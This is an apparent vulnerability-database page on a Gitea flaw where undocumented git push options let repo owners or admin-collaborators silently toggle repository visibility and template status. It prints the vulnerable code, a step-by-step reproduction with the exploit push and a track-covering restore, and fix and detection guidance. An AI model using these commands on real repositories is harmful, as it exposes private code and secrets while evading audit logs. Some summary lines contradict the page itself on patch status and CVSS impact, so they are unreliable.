Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconObtain owner/admin-collaborator access to private repo
-
DeliveryClone and make a routine commit
-
ExploitPush with -o repo.private=false
-
InstallRepository silently becomes public
-
C2Clone/archive exposed source and secrets
-
ExecutePush with -o repo.private=true to restore
-
ImpactNo audit trail, webhook, or timestamp change
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Access control enforcement
MITRE ATT&CK
1 technique across 1 tactic: Defense Evasion The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must already hold owner-level or admin-collaborator access on the target Gitea repository and have Git push access to it; with that, they invoke the undocumented push options repo.private (toggle visibility) or repo.template (toggle template status) via 'git push -o repo.private=false/true' or '-o repo.template=false/true'. These options are only honored by the post-receive hook when supplied on a push, so a real commit/push must accompany them. What LIMITS exploitation: it is not exploitable by anonymous or read/write-only collaborators (PR:L requires the owner/admin-collaborator role), it requires push access over the Git protocol, and it affects only repositories where the attacker holds that elevated role - but it works against default configurations of any Gitea instance below 1.27.0 with no special server-side settings required. |
| Impact | The supplied CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N (7.1) is internally consistent with the description: exploitation is remote over the Git protocol, low complexity, and requires low (but non-zero) privileges - specifically owner or admin-collaborator on the target repo. This is not an unauthenticated internet-facing bug; it is an insider/privilege-boundary weakness, so real-world urgency depends on how much untrusted admin-collaborator access an organization grants. No EPSS score, SSVC decision, or CISA KEV status was provided, and there is no evidence of active exploitation. However, the GHSA advisory includes complete step-by-step reproduction commands, which lowers the practical barrier considerably and functions as a proof-of-concept. I would rate the raw CVSS confidentiality metric (C:L) as conservative: turning a private repository fully public exposes its entire contents, which argues for a higher confidentiality impact than the vendor score reflects - verify against your own exposure model. Overall this is a genuine but bounded (privileged-insider) priority rather than a mass-exploitation emergency. |
| Exploit ScenarioDerived | A contractor granted admin-collaborator access to a private repository runs 'git push -o repo.private=false' on a routine commit, silently making the repo public for a few minutes - long enough to clone or index proprietary source and CI/CD secrets - then pushes again with 'repo.private=true' to restore it. The GHSA advisory publishes the exact reproduction commands, so the attack requires no custom tooling; given the network Git attack vector and low complexity, only the pre-existing privileged access is needed. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 21, 2026
Repository visibility and template status in Gitea (self-hosted Git service) before 1.27.0 can be silently toggled by any repository owner or admin-collaborator through undocumented git push options (repo.private, repo.template) processed by the post-receive hook, bypassing all audit logging, webhooks, and notifications. An insider can flip a private repository to public long enough to clone proprietary code, then revert it, leaving only two ordinary push events in the activity feed. No CISA KEV listing and no separately published exploit tool exist, but the GHSA advisory ships full working reproduction commands, and the CVSS 3.1 base score is 7.1 (High).
RemediationAI
Vendor-released patch: 1.27.0 - upgrade all Gitea instances to 1.27.0 or later, per GHSA-8p9h-49rc-qgxj (https://github.com/go-gitea/gitea/security/advisories/GHSA-8p9h-49rc-qgxj) and https://github.com/go-gitea/gitea/releases/tag/v1.27.0. If you cannot upgrade immediately, the practical compensating control is to tightly restrict who holds owner or admin-collaborator roles on sensitive private repositories, since only those roles can trigger the abuse (trade-off: this constrains legitimate delegated administration). Because the change fires no webhook and no activity-log entry, you cannot detect it from Gitea's normal audit trail; as an interim detection measure, monitor the repositories.is_private and is_template columns directly at the database level or via periodic API polling of repository visibility, and alert on unexpected transitions (trade-off: added operational overhead and possible false positives from legitimate settings changes). The upstream fix follows the recommended approach of refusing these push options on already-existing repositories (or routing them through the full UpdateRepositoryVisibility service that emits audit events and webhooks).
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Gitea is a lightweight, self-hosted Git service written in Go (package code.gitea.io/gitea). The flaw lives in routers/private/hook_post_receive.go, function HookPostReceive() (lines 173-225), which parses git push options - key/value pairs a client sends via git push -o. Two constants defined in modules/private/pushoptions.go (GitPushOptionRepoPrivate = "repo.private", GitPushOptionRepoTemplate = "repo.template") were intended only for the push-to-create flow but are honored on already-existing repositories. Because the state change is written via repo_model.UpdateRepositoryColsNoAutoTime(ctx, repo, "is_private"), it directly mutates the is_private/is_template columns without routing through the visibility-change service, so no audit entry, no repository webhook (visibility_changed action), no team permission recalculation, and not even the updated_at timestamp is touched. This maps to CWE-284 (Improper Access Control): a privileged-but-scoped operation performed through a code path that omits the authorization side effects and controls the equivalent settings operation would enforce.
Know when Gitea gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
Requires repo owner/admin-collaborator role (PR:L) over the Git network protocol with low complexity; flipping a private repo public fully exposes its contents (C:H), while integrity impact is limited to toggling settings flags (I:L).
Primary rating from Vendor (https://github.com/go-gitea/gitea).
CVSS VectorVendor: https://github.com/go-gitea/gitea
DescriptionCVE.org
Repository Visibility Manipulation via Git Push Options
| Field | Value |
|---|---|
| Affected File | routers/private/hook_post_receive.go |
| Affected Function | HookPostReceive() |
| Affected Lines | 173-225 |
| Prerequisite | Attacker must have owner-level or admin collaborator access to the target repository |
---
Description
Gitea's post-receive git hook handler processes git push options - key-value pairs transmitted by a client during git push using the -o flag. Two undocumented push options, repo.private and repo.template, allow any user with repository owner or admin-collaborator access to toggle the visibility (private/public) and template status of a repository as a side effect of a normal git push.
This capability was originally intended solely for the "push-to-create" feature (automatically creating a repo on first push). However, the options are processed without restriction on already-existing repositories, and - critically - the visibility change bypasses every control that a proper settings change would trigger:
- No entry written to the repository's audit/activity log
- No webhook event fired (
repositoryevent withvisibility_changedaction) - No org-level notification to owners
- No team permission re-calculation
- No email alert to watchers
- The database update uses
UpdateRepositoryColsNoAutoTime, which also suppresses theupdated_attimestamp change
---
Vulnerable Code
routers/private/hook_post_receive.go:173-225
isPrivate := opts.GitPushOptions.Bool(private.GitPushOptionRepoPrivate) // "repo.private"
isTemplate := opts.GitPushOptions.Bool(private.GitPushOptionRepoTemplate) // "repo.template"
if isPrivate.Has() || isTemplate.Has() {
// ... loads repo and verifies pusher is owner or admin ...
if !perm.IsOwner() && !perm.IsAdmin() {
ctx.JSON(http.StatusNotFound, ...)
return
}
// FIXME: these options are not quite right, for example: changing visibility
// should do more works than just setting the is_private flag
// These options should only be used for "push-to-create"
if isPrivate.Has() && repo.IsPrivate != isPrivate.Value() {
// TODO: it needs to do more work
repo.IsPrivate = isPrivate.Value()
repo_model.UpdateRepositoryColsNoAutoTime(ctx, repo, "is_private")
// ^^^ bypasses updated_at timestamp, audit trail suppressed
}
if isTemplate.Has() && repo.IsTemplate != isTemplate.Value() {
repo.IsTemplate = isTemplate.Value()
repo_model.UpdateRepositoryColsNoAutoTime(ctx, repo, "is_template")
}
}The push option constants are defined in modules/private/pushoptions.go:18-19:
GitPushOptionRepoPrivate = "repo.private"
GitPushOptionRepoTemplate = "repo.template"---
Attack Scenario
Scenario A - Insider threat / rogue admin collaborator
An organization grants a contractor repo admin access to contribute to a private repository containing proprietary source code. The contractor, before their access is revoked, makes a private repo public for several minutes - long enough to clone, archive, or index the content - then makes it private again. The action leaves no audit trail distinguishable from a normal git push.
Scenario B - Supply-chain template poisoning
A repository marked as a template is used by CI/CD pipelines to generate new project repositories. An admin collaborator uses repo.template=false to silently remove the template designation, then makes changes to the repo's content, re-marks it as a template with repo.template=true, and waits for downstream consumers to regenerate projects from the now-backdoored template. The updated_at timestamp is unchanged due to UpdateRepositoryColsNoAutoTime, making diff-detection harder.
---
Step-by-Step Reproduction
Prerequisites:
- A Gitea user account with either owner or admin-collaborator access to a private repository
gitclient with push access to the repository
---
Step 1 - Confirm the target repository is private
---
Step 2 - Clone the repository
git clone http://USER:PASSWORD@<gitea-host>/OWNER/REPO.git /tmp/target-repo
cd /tmp/target-repo---
Step 3 - Make any commit *(the push option rides on a real push)*
echo "$(date)" >> .gitkeep
git add .gitkeep
git commit -m "routine update"---
Step 4 - Execute the exploit push
# Make the repository public
git push http://USER:PASSWORD@<gitea-host>/OWNER/REPO.git main \
-o repo.private=false
# The push completes with a normal success message:
# remote: Processed 1 references in total
# To http://<gitea-host>/OWNER/REPO.git
# abc1234..def5678 main -> main---
Step 5 - Verify the repository is now public
---
Step 6 - Restore and cover tracks
Re-make it private in the same session, leaving no visible audit trail
The repository activity feed shows only two normal push events. The visibility change is invisible.
Verification: confirm no activity log entry
---
Impact Details
| Impact | Description |
|---|---|
| Data exfiltration | Private source code, CI/CD secrets in plain-text files, environment configs become publicly cloneable for the window the repo is public |
| No audit trail | UpdateRepositoryColsNoAutoTime suppresses the updated_at change; no activity log entry; no webhook; no notification |
| Supply chain | Combined with repo.template=true/false, an attacker can silently rotate repository template status, affecting all downstream repositories that generate from this template |
| Scope | Affects all repos where the attacker has admin-collaborator access - not only repos they own |
---
Recommended Fix
Option 1 (preferred) - Remove the options from post-receive hook entirely. The repo.private and repo.template push options were designed for the push-to-create flow and have no legitimate use on existing repositories. They should be gated with:
// routers/private/hook_post_receive.go
if isPrivate.Has() || isTemplate.Has() {
if !wasEmpty {
// repo already existed - refuse these options on established repos
log.Warn("Repo push options repo.private/repo.template ignored for existing repo %s", repoName)
// do not process
} else {
// original push-to-create path only
...
}
}Option 2 - Route through the full visibility-change service so that audit events, webhooks, and team re-syncs are triggered:
// Instead of the raw UpdateRepositoryColsNoAutoTime call:
if err := repo_service.UpdateRepositoryVisibility(ctx, repo, isPrivate.Value()); err != nil {
...
}Where UpdateRepositoryVisibility fires the repository webhook event and writes an activity log entry.
Executive ViewAI
Gitea self-hosted Git instances are vulnerable to insider attacks that enable secret toggling of repository settings and unauthorized exfiltration of proprietary source code while completely evading audit logs. With publicly available exploit code and no current vendor patch, this creates significant regulatory and operational blind spots for organizations relying on Gitea for source code protection.
Restrict repository visibility and template settings to a small, audited set of users; implement network-level git command auditing to detect push option abuse; enforce comprehensive Gitea audit logging; require administrative approval for any repository visibility changes; disable undocumented git push options at the Gitea configuration level if supported by current version.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi
Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us
Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any
Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by
Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica
Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran
Same weakness CWE-284 – Improper Access Control
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-58164
GHSA-8p9h-49rc-qgxj
NVD
CVE.org
EPSS
Exploit-DB